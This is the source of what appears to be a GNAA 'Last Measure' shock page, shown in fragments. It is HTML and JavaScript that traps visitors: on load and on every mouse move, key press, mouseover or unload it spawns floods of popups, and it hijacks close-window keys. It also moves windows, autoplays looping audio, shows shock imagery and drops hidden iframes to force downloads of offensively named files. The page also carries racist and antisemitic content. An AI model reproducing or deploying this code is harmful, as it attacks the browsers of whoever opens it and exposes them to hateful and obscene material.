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<head>
<title>THIS PAGE SMELLS LIKE FARTS</title>
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var i;
var j;
function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("THIS PAGE SMELLS LIKE FARTS"); }
function ctrlkey() { if (event.keyCode == 17) alert("THIS PAGE SMELLS LIKE FARTS"); }
function delkey() { if (event.keyCode == 46) alert("GNAA LAST MEASURE LIVE!"); }
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var is_ie4up = (is_ie && (is_major >= 4));
var is_nav = (nom.indexOf('netscape')!=-1);
var is_nav4 = (is_nav && (is_major == 4));
var is_mac = (agt.indexOf("mac")!=-1);
var is_gecko = (agt.indexOf('gecko') != -1);
// GECKO REVISION
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temp = agt.split("rv:")
is_rev = parseFloat(temp[1])
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function procreate() {
for(i = 0; i < 16; i++) {
popUp("https://gnaa.ga/members");
}
}
function popUp(URL) {
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');");
}
function load_goatse() {
document.body.innerHTML += goatseflash;
setTimeout(unload_goatse(),3000);
}
function unload_goatse() {
document.getElementById("hello").style.display = 'none';
}
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var factorX = Math.sin(curstep * 6.1) * 0.9;
var factorY = Math.cos(curstep * 3.7) * 0.9;
factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
* (Math.sin(10+curstep/10)+0.2)
* Math.cos((curstep + j*25)/10);
factorY += 0.2 * Math.sin((20*Math.sin(curstep/(20+j)))+j*70)
* (Math.sin(10+curstep/10)+0.2)
* Math.cos((curstep + j*25)/10);
window.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
}
document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
setTimeout(movewow(), delay);
}
var protos = [
"lm.pdf",
"jews.wmv"
];
function add(str) {
div = document.getElementById("goatse");
div.innerHTML = '<iframe style="width: 1; height: 1;" src="'+str+'"></iframe>';
}
function ruin() {
document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
//while (1) {
for (j = 0; j < 5; j++) {
for (i = 0; i < protos.length; i++) {
add(protos[i]);
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audio[2] = 'fury.wav';
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audio[25] = 'jakk.wav';
audio[26] = 'acostoss2.wav';
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document.getElementById("audio").innerHTML += '<audio src="'+audio[i]+'" loop="true" autoplay />';
}
function start_audio() {
for (i = 1; i < audiocount; i++) {
setTimeout(start_play, 12000 * (i), i);
}
}
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height: 100%;
width: 100%;
overflow: hidden;
}
body {
height: 100%;
width: 100%;
margin: 0;
padding: 0;
}
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</head>
<body style="background-image: url(https://gnaa.ga/lastmeasure/hello.jpg); background-color: white;" onload="start_audio();load_goatse();document.getElementById('goatse').reset();movewow();setTimeout(ruin(),20);" onmousemove="document.getElementById('goatse').reset();movewow();procreate();" onkeydown="altf4key();ctrlkey();delkey();procreate();" onunload="document.getElementById('goatse').reset();movewow();procreate();" onmouseover="document.getElementById('goatse').reset();movewow();procreate();">
<script>
</script>
<div>
GNAA LAST MEASURE LIVE!
</div>
<script>
</script>
<div id="audio">
<audio src="https://gnaa.ga/lastmeasure/HEY.wav" autoplay loop="true" /> </div>
<form onreset="procreate();" onsubmit="procreate();" action="#" id="goatse" name="goatse">
<p><span style="background-color:white; border:thin solid; color black;">Click meh</span></p>
</form>
</body>
</html>
